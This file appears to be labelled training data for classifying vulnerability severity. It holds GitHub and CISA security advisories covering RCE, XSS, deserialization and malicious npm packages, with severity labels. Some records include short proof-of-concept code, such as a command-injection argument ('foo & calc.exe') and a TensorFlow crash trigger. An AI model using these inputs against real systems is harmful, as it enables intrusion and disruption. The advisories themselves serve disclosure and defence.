-{"id": "db701df14648c7ff075a", "text": "PrestaShop gamification module ZIP archives were vulnerable from CVE-2017-9841\n\n### Impact\n\nWe have identified that some gamification module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\nYou can read PrestaShop official statement about this vulnerability [here](https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/).\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/gamification/releases/tag/v2.3.2), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "text_raw": "PrestaShop gamification module ZIP archives were vulnerable from CVE-2017-9841\n\n[Severity: HIGH]\n\n### Impact\n\nWe have identified that some gamification module ZIP archives have been built with phpunit dev dependencies. PHPUnit contains a php script that would allow, on a webserver, an attacker to perform a RCE.\n\nThis vulnerability impacts\n- phpunit before 4.8.28 and 5.x before 5.6.3 as reported in [CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841)\n- phpunit >= 5.63 before 7.5.19 and 8.5.1 (this is a newly found vulnerability that is currently being submitted as a CVE after disclosure was provided to phpunit maintainers)\n\nYou can read PrestaShop official statement about this vulnerability [here](https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/).\n\n### Patches\n\nIn the [security patch](https://github.com/PrestaShop/gamification/releases/tag/v2.3.2), we look for the unwanted vendor/phpunit folder and remove it if we find it. This allows users to fix the security issue when upgrading.\n\n### Workarounds\nUsers can also simply remove the unwanted vendor/phpunit folder.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-9841\n\n### For more information\nIf you have any questions or comments about this advisory, email us at security@prestashop.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-08", "split": "train"}
-{"id": "c469ad5bff00d4065306", "text": "Code injection in topthink/think\n\nA remote code execution (RCE) vulnerability in /library/think/App.php of Twothink v2.0 allows attackers to execute arbitrary PHP code.", "text_raw": "Code injection in topthink/think\n\n[Severity: CRITICAL]\n\nA remote code execution (RCE) vulnerability in /library/think/App.php of Twothink v2.0 allows attackers to execute arbitrary PHP code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "d1a86d89ec7012c8e452", "text": "Serialization gadgets exploit in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.", "text_raw": "Serialization gadgets exploit in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "ff52b694c3fbe8a61f37", "text": "Malicious Package in node-buc\n\nAll versions of `node-buc` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in node-buc\n\n[Severity: CRITICAL]\n\nAll versions of `node-buc` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "07d89220d4a09b98b6c9", "text": "Hidden Directories Always Served in inert\n\nVersions 1.1.1 and earlier of `inert` are vulnerable to an information leakage vulnerability which causes files in hidden directories to be served, even when showHidden is false.\n\nThe inert directory handler always allows files in hidden directories to be served, even when `showHidden` is false.\n\n## Recommendation\n\nUpdate to version >= 1.1.1.", "text_raw": "Hidden Directories Always Served in inert\n\n[Severity: MEDIUM]\n\nVersions 1.1.1 and earlier of `inert` are vulnerable to an information leakage vulnerability which causes files in hidden directories to be served, even when showHidden is false.\n\nThe inert directory handler always allows files in hidden directories to be served, even when `showHidden` is false.\n\n\n## Recommendation\n\nUpdate to version >= 1.1.1.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "d86bfebf05e0b574e3d4", "text": "Cross-site Scripting in Ignite Realtime Openfire\n\nIgnite Realtime Openfire before 4.4.1 has reflected XSS via an LDAP setup test.", "text_raw": "Cross-site Scripting in Ignite Realtime Openfire\n\n[Severity: MEDIUM]\n\nIgnite Realtime Openfire before 4.4.1 has reflected XSS via an LDAP setup test.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "bfb11a15cec3b6eca460", "text": "node-opensl is malware\n\nThe `node-opensl` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-opensl is malware\n\n[Severity: HIGH]\n\nThe `node-opensl` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-03", "split": "train"}
-{"id": "48f3c3fcddf648001ddf", "text": "Red Hat JBoss Application Server Remote Code Execution Vulnerability\n\nAffected: Red Hat JBoss Application Server\n\nThe JBoss Application Server, shipped with Red Hat Enterprise Application Platform 5.2, allows an attacker to execute arbitrary code via crafted serialized data.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Red Hat JBoss Application Server Remote Code Execution Vulnerability\n\nAffected: Red Hat JBoss Application Server\n\nThe JBoss Application Server, shipped with Red Hat Enterprise Application Platform 5.2, allows an attacker to execute arbitrary code via crafted serialized data.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "b96db3f8cdcd70749d07", "text": "Unsafe Identifiers in Opencast\n\n### Impact\n\nOpencast allows almost arbitrary identifiers for media packages and\nelements to be used. This can be problematic for operation and security\nsince such identifiers are sometimes used for file system operations\nwhich may lead to an attacker being able to escape working directories and\nwrite files to other locations.\n\nIn addition, Opencast's Id.toString(…) vs Id.compact(…) behavior,\nthe latter trying to mitigate some of the file system problems, can\ncause errors due to identifier mismatch since an identifier may\nunintentionally change.\n\n### Patches\n\nThis issue is fixed in Opencast 7.6 and 8.1.\n\n### Workarounds\n\nThere is no workaround for this.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "text_raw": "Unsafe Identifiers in Opencast\n\n[Severity: MEDIUM]\n\n### Impact\n\nOpencast allows almost arbitrary identifiers for media packages and\nelements to be used. This can be problematic for operation and security\nsince such identifiers are sometimes used for file system operations\nwhich may lead to an attacker being able to escape working directories and\nwrite files to other locations.\n\nIn addition, Opencast's Id.toString(…) vs Id.compact(…) behavior,\nthe latter trying to mitigate some of the file system problems, can\ncause errors due to identifier mismatch since an identifier may\nunintentionally change.\n\n### Patches\n\nThis issue is fixed in Opencast 7.6 and 8.1.\n\n### Workarounds\n\nThere is no workaround for this.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "489b9235560200171d01", "text": "Malicious Package in node-ftp\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in node-ftp\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "af43537ee9ab655d858b", "text": "Deserialization of Untrusted Data in ParlAI\n\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks. This issue affects ParlAI prior to v1.1.0.", "text_raw": "Deserialization of Untrusted Data in ParlAI\n\n[Severity: MEDIUM]\n\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks. This issue affects ParlAI prior to v1.1.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "b20f2afd51e560977c98", "text": "Open Redirection in Login Handling\n\n### Problem\nIt has been discovered that Login Handling is susceptible to open redirection which allows attackers redirecting to arbitrary content, and conducting phishing attacks. No authentication is required in order to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 6.2.57, 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Alexander Kellner who reported this issue and to TYPO3 security team member Torben Hansen who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-001](https://typo3.org/security/advisory/typo3-core-sa-2021-001)", "text_raw": "Open Redirection in Login Handling\n\n[Severity: MEDIUM]\n\n\n### Problem\nIt has been discovered that Login Handling is susceptible to open redirection which allows attackers redirecting to arbitrary content, and conducting phishing attacks. No authentication is required in order to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 6.2.57, 7.6.51, 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Alexander Kellner who reported this issue and to TYPO3 security team member Torben Hansen who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-001](https://typo3.org/security/advisory/typo3-core-sa-2021-001)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "58f70cce741dd5712ae6", "text": "Division by 0 in `Conv2D`\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2D`:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/988087bd83f144af14087fe4fecee2d250d93737/tensorflow/core/kernels/conv_ops.cc#L261-L263) does a division by a quantity that is controlled by the caller:\n```cc\n  const int64 patch_depth = filter.dim_size(2);\n  if (in_depth % patch_depth != 0) { ... }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [b12aa1d44352de21d1a6faaf04172d8c2508b42b](https://github.com/tensorflow/tensorflow/commit/b12aa1d44352de21d1a6faaf04172d8c2508b42b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `Conv2D`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2D`:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n                               \ntf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding)\n```                            \n                               \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/988087bd83f144af14087fe4fecee2d250d93737/tensorflow/core/kernels/conv_ops.cc#L261-L263) does a division by a quantity that is controlled by the caller:\n```cc\n  const int64 patch_depth = filter.dim_size(2);\n  if (in_depth % patch_depth != 0) { ... }\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [b12aa1d44352de21d1a6faaf04172d8c2508b42b](https://github.com/tensorflow/tensorflow/commit/b12aa1d44352de21d1a6faaf04172d8c2508b42b).\n  \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4e1e54b0fd4d22c067a3", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "aca0f805e1b57fce4292", "text": "Cross-site Scripting in snipe-it\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "text_raw": "Cross-site Scripting in snipe-it\n\n[Severity: MEDIUM]\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "3827db176e7741f8c2ea", "text": "Command Execution in windows-cpu\n\nVersion of `windows-cpu` before 0.1.5 will execute arbitrary code passed into the first argument of the `findLoad` method, resulting in remote code execution.\n\n## Proof of Concept\n\n```js\nvar win = require('windows-cpu');\nwind.findLoad('foo & calc.exe');\n```\n\n## Recommendation\n\nUpdate to version 0.1.5 or later.", "text_raw": "Command Execution in windows-cpu\n\n[Severity: CRITICAL]\n\nVersion of `windows-cpu` before 0.1.5 will execute arbitrary code passed into the first argument of the `findLoad` method, resulting in remote code execution.\n\n## Proof of Concept\n\n```js\nvar win = require('windows-cpu');\nwind.findLoad('foo & calc.exe');\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d05520169a6454f2757c", "text": "\"Verify All\" Returns Success Despite Validation Failures in Singularity\n\n### Impact\n\nThe `--all / -a` option to `singularity verify` returns success even when some objects in a SIF container are not signed, or cannot be verified.\n\nThe SIF objects that are not verified are reported in `WARNING` log messages, but a `Container Verified` message and exit code of `0`  are returned.\n\nWorkflows that verify a container using `--all / -a` and use the exit code as an indicator of success are vulnerable to running SIF containers that have unsigned, or modified, objects that may be exploited to introduce malicious behavior.\n\n```\n$ singularity verify -a image.sif \nWARNING: Missing signature for SIF descriptor 2 (JSON.Generic)\nWARNING: Missing signature for SIF descriptor 3 (FS)\nContainer is signed by 1 key(s):\n\nVerifying partition: Def.FILE:\n12045C8C0B1004D058DE4BEDA20C27EE7FF7BA84\n[LOCAL]   Unit Test <unit@test.com>\n[OK]      Data integrity verified\n\nINFO:    Container verified: image.sif\n\n$ echo $?\n0\n```\n\n### Patches\n\nSingularity 3.6.0 has a new implementation of sign/verify that fixes this issue.\n\nAll users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.\n\nVersion 3.6.0 includes a `--legacy-insecure` flag for the `singularity verify` command, that will perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format.\n\n### Workarounds\n\nIf you are unable to update to 3.6.0 ensure that you do not rely on the return code of `singularity verify --all / -a` as an indicator of trust in a container.\n\nNote that other issues in the sign/verify implementation in Singularity < 3.6.0 allow additional means to introduce malicious behavior to a signed container.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "\"Verify All\" Returns Success Despite Validation Failures in Singularity\n\n[Severity: HIGH]\n\n### Impact\n\nThe `--all / -a` option to `singularity verify` returns success even when some objects in a SIF container are not signed, or cannot be verified.\n\nThe SIF objects that are not verified are reported in `WARNING` log messages, but a `Container Verified` message and exit code of `0`  are returned.\n\nWorkflows that verify a container using `--all / -a` and use the exit code as an indicator of success are vulnerable to running SIF containers that have unsigned, or modified, objects that may be exploited to introduce malicious behavior.\n\n```\n$ singularity verify -a image.sif \nWARNING: Missing signature for SIF descriptor 2 (JSON.Generic)\nWARNING: Missing signature for SIF descriptor 3 (FS)\nContainer is signed by 1 key(s):\n\nVerifying partition: Def.FILE:\n12045C8C0B1004D058DE4BEDA20C27EE7FF7BA84\n[LOCAL]   Unit Test <unit@test.com>\n[OK]      Data integrity verified\n\nINFO:    Container verified: image.sif\n\n$ echo $?\n0\n```\n\n\n### Patches\n\nSingularity 3.6.0 has a new implementation of sign/verify that fixes this issue.\n\nAll users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.\n\nVersion 3.6.0 includes a `--legacy-insecure` flag for the `singularity verify` command, that will perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format.\n\n### Workarounds\n\nIf you are unable to update to 3.6.0 ensure that you do not rely on the return code of `singularity verify --all / -a` as an indicator of trust in a container.\n\nNote that other issues in the sign/verify implementation in Singularity < 3.6.0 allow additional means to introduce malicious behavior to a signed container.\n\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "0280c09ccceca15c6b8e", "text": "Cross-site Scripting in invenio-previewer\n\n## Cross-Site Scripting (XSS) vulnerability in JSON, Markdown and iPython Notebook previewers\n\n### Impact\nSeveral Cross-Site Scripting (XSS) vulnerabilities have been found in the JSON, Markdown and iPython Notebook previewers. The vulnerabilities would allow a malicous user to upload a JSON, Markdown or Notebook file with embedded scripts that would be executed by a victims browser.\n\n### Patches\nInvenio-Previewer v1.0.0a12 fixes the issue.\n\n### Workarounds\nYou can remediate the vulnerability without upgrading by disabling the affected previewers. You do this by adding the following to your configuration:\n\n```python\nPREVIEWER_PREFERENCE = [\n    'csv_dthreejs',\n    'simple_image',\n    # 'json_prismjs',\n    'xml_prismjs',\n    # 'mistune',\n    'pdfjs',\n    # 'ipynb',\n    'zip',\n]\n```\n\nAfterwards, you should not be able to preview JSON, Markdown or iPython Notebook files.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "text_raw": "Cross-site Scripting in invenio-previewer\n\n[Severity: MEDIUM]\n\n## Cross-Site Scripting (XSS) vulnerability in JSON, Markdown and iPython Notebook previewers\n\n### Impact\nSeveral Cross-Site Scripting (XSS) vulnerabilities have been found in the JSON, Markdown and iPython Notebook previewers. The vulnerabilities would allow a malicous user to upload a JSON, Markdown or Notebook file with embedded scripts that would be executed by a victims browser.\n\n### Patches\nInvenio-Previewer v1.0.0a12 fixes the issue.\n\n### Workarounds\nYou can remediate the vulnerability without upgrading by disabling the affected previewers. You do this by adding the following to your configuration:\n\n```python\nPREVIEWER_PREFERENCE = [\n    'csv_dthreejs',\n    'simple_image',\n    # 'json_prismjs',\n    'xml_prismjs',\n    # 'mistune',\n    'pdfjs',\n    # 'ipynb',\n    'zip',\n]\n```\n\nAfterwards, you should not be able to preview JSON, Markdown or iPython Notebook files.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "ee48706262e9dade2816", "text": "Malicious Package in ember_cli_babe\n\nVersion 6.16.0 of `ember_cli_babe` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ember_cli_babe\n\n[Severity: CRITICAL]\n\nVersion 6.16.0 of `ember_cli_babe` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5ff642f34204692d7019", "text": "An issue was discovered in GNU Mailman before 2.1.28. A crafted URL can cause arbitrary text to be displayed on a web page from a trusted site.", "text_raw": "Moderate severity vulnerability that affects mailman\n\n[Severity: MEDIUM]\n\nAn issue was discovered in GNU Mailman before 2.1.28. A crafted URL can cause arbitrary text to be displayed on a web page from a trusted site.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-11", "split": "train"}
-{"id": "968b9e5143a4359cd4e0", "text": "REXML round-trip instability\n\nThe REXML gem before 3.2.5 in Ruby before 2.6.7, 2.7.x before 2.7.3, and 3.x before 3.0.1 does not properly address XML round-trip issues. An incorrect document can be produced after parsing and serializing.", "text_raw": "REXML round-trip instability\n\n[Severity: HIGH]\n\nThe REXML gem before 3.2.5 in Ruby before 2.6.7, 2.7.x before 2.7.3, and 3.x before 3.0.1 does not properly address XML round-trip issues. An incorrect document can be produced after parsing and serializing. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "f20a0256953f4991457a", "text": "XSS in Apache Airflow\n\nIn Apache Airflow before 1.10.5 when running with the \"classic\" UI, a malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views. The new \"RBAC\" UI is unaffected.", "text_raw": "XSS in Apache Airflow\n\n[Severity: MEDIUM]\n\nIn Apache Airflow before 1.10.5 when running with the \"classic\" UI, a malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views. The new \"RBAC\" UI is unaffected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-06", "split": "train"}
-{"id": "41f9110605b9fdbd36f1", "text": "OV3 Online Administration 3.0 Parameter Traversal Arbitrary File Access PoC Exploit", "text_raw": "OV3 Online Administration 3.0 Parameter Traversal Arbitrary File Access PoC Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-05-30", "split": "train"}
-{"id": "ec2473fd6540b8e32e76", "text": "Cross-site scripting (XSS)\n\nImpressCMS 1.4.0 is affected by XSS in modules/system/admin.php which may result in arbitrary remote code execution.", "text_raw": "Cross-site scripting (XSS)\n\n[Severity: MEDIUM]\n\nImpressCMS 1.4.0 is affected by XSS in modules/system/admin.php which may result in arbitrary remote code execution.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "0aa0eb5dc636a5742830", "text": "Incorrect buffer size in crossbeam-channel\n\nThe affected version of this crate's the bounded channel incorrectly assumes that Vec::from_iter has allocated capacity that same as the number of iterator elements. Vec::from_iter does not actually guarantee that and may allocate extra memory. The destructor of the bounded channel reconstructs Vec from the raw pointer based on the incorrect assumes described above. This is unsound and causing deallocation with the incorrect capacity when Vec::from_iter has allocated different sizes with the number of iterator elements.", "text_raw": "Incorrect buffer size in crossbeam-channel\n\n[Severity: MEDIUM]\n\nThe affected version of this crate's the bounded channel incorrectly assumes that Vec::from_iter has allocated capacity that same as the number of iterator elements. Vec::from_iter does not actually guarantee that and may allocate extra memory. The destructor of the bounded channel reconstructs Vec from the raw pointer based on the incorrect assumes described above. This is unsound and causing deallocation with the incorrect capacity when Vec::from_iter has allocated different sizes with the number of iterator elements.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "058bc41521de80572fe0", "text": "Deserialization of Untrusted Data in org.apache.ddlutils:ddlutils\n\nApache DB DdlUtils 1.0 included a BinaryObjectsHelper that was intended for use when migrating database data with a SQL data type of BINARY, VARBINARY, LONGVARBINARY, or BLOB between databases using the ddlutils features. The BinaryObjectsHelper class was insecure and used ObjectInputStream.readObject without validating that the input data was safe to deserialize. Please note that DdlUtils is no longer being actively developed. To address the insecurity of the BinaryObjectHelper class, the following changes to DdlUtils have been made: (1) BinaryObjectsHelper.java has been deleted from the DdlUtils source repository and the DdlUtils feature of propagating data of SQL binary types is therefore no longer present in DdlUtils; (2) The ddlutils-1.0 release has been removed from the Apache Release Distribution Infrastructure; (3) The DdlUtils web site has been updated to indicate that DdlUtils is now available only as source code, not as a packaged release.", "text_raw": "Deserialization of Untrusted Data in org.apache.ddlutils:ddlutils\n\n[Severity: CRITICAL]\n\nApache DB DdlUtils 1.0 included a BinaryObjectsHelper that was intended for use when migrating database data with a SQL data type of BINARY, VARBINARY, LONGVARBINARY, or BLOB between databases using the ddlutils features. The BinaryObjectsHelper class was insecure and used ObjectInputStream.readObject without validating that the input data was safe to deserialize. Please note that DdlUtils is no longer being actively developed. To address the insecurity of the BinaryObjectHelper class, the following changes to DdlUtils have been made: (1) BinaryObjectsHelper.java has been deleted from the DdlUtils source repository and the DdlUtils feature of propagating data of SQL binary types is therefore no longer present in DdlUtils; (2) The ddlutils-1.0 release has been removed from the Apache Release Distribution Infrastructure; (3) The DdlUtils web site has been updated to indicate that DdlUtils is now available only as source code, not as a packaged release.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
